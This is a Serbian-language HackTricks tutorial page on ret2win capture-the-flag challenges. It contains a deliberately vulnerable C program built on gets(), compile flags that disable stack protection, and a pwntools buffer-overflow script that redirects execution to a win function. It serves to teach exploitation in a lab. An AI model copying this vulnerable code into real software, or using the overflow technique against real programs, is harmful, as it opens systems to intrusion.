.. | ||
README.md | ||
ret2win-arm64.md |
Ret2win
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Ret2win izazovi su popularna kategorija u takmičenjima Capture The Flag (CTF), posebno u zadacima koji uključuju binarno eksploatisanje. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neizvršena funkcija unutar binarnog fajla, često nazvana nešto poput win
, flag
, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavu ili poruku o uspehu. Izazov obično uključuje prepisivanje adrese povratka na steku kako bi se preusmerio tok izvršavanja ka željenoj funkciji. Evo detaljnijeg objašnjenja sa primerima:
Primer u C-u
Razmotrimo jednostavan C program sa ranjivošću i win
funkcijom koju nameravamo pozvati:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Da biste kompajlirali ovaj program bez zaštite steka i sa ASLR onemogućenim, možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Kompajliraj program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima).-fno-stack-protector
: Onemogući zaštitu od preplavljivanja steka.-z execstack
: Dozvoli izvršavanje koda na steku.-no-pie
: Onemogući izvršavanje nezavisno od pozicije kako bi se osiguralo da adresa funkcijewin
ne promeni.-o vulnerable
: Nazovi izlazni fajlvulnerable
.
Python Eksploatacija korišćenjem Pwntools
Za eksploataciju, koristićemo pwntools, moćan CTF okvir za pisanje eksploata. Skripta za eksploataciju će kreirati payload za preplavljivanje bafera i prepisati povratnu adresu sa adresom funkcije win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Da biste pronašli adresu funkcije win
, možete koristiti gdb, objdump, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa objdump
-om, možete koristiti:
objdump -d vulnerable | grep win
Ova komanda će vam prikazati sklop win
funkcije, uključujući njenu početnu adresu.
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane vulnerable_function
, preplavljuje bafer i prepisuje adresu povratka na steku adresom win
. Kada vulnerable_function
završi, umesto vraćanja na main
ili izlaska, prelazi na win
, i poruka se ispisuje.
Zaštite
- PIE treba biti onemogućen da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je smeštena win funkcija. U nekim slučajevima, kada funkcija koja uzrokuje preplavljivanje je
read
ili slična, možete izvršiti Delimično prepisivanje od 1 ili 2 bajta da biste promenili adresu povratka da bude win funkcija. Zbog toga kako ASLR funkcioniše, poslednje tri heksadecimalne cifre nisu nasumične, tako da postoji 1/16 šansa (1 heksadecimalna cifra) da dobijete ispravnu adresu povratka. - Stack Canaries takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
Ostali primeri i Reference
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bit, bez ASLR-a
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bita sa ASLR-om, sa curenjem bin adrese
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bita, bez ASLR-a
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bita, bez ASLR-a, dvostruko malo preplavljivanje, prvo da preplavi stek i poveća veličinu drugog preplavljivanja
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez canary-a, nx, bez pie-a, formatiranje stringa za prepisivanje adrese
fflush
sa win funkcijom (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da bi se pozvala win funkcija
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Program samo validira poslednji bajt broja da proveri veličinu unosa, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Zatim, unos stvara preplavljivanje bafera koje se eksploatiše sa ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bita, relro, bez canary-a, nx, pie. Delimično prepisivanje da bi se pozvala win funkcija (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, daje PIE curenje win funkcije koja zapravo ima 2 funkcije pa ROP gedžet koji poziva 2 funkcije
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one da pozove win funkciju
Primer za ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi](https://t.me/peass) ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.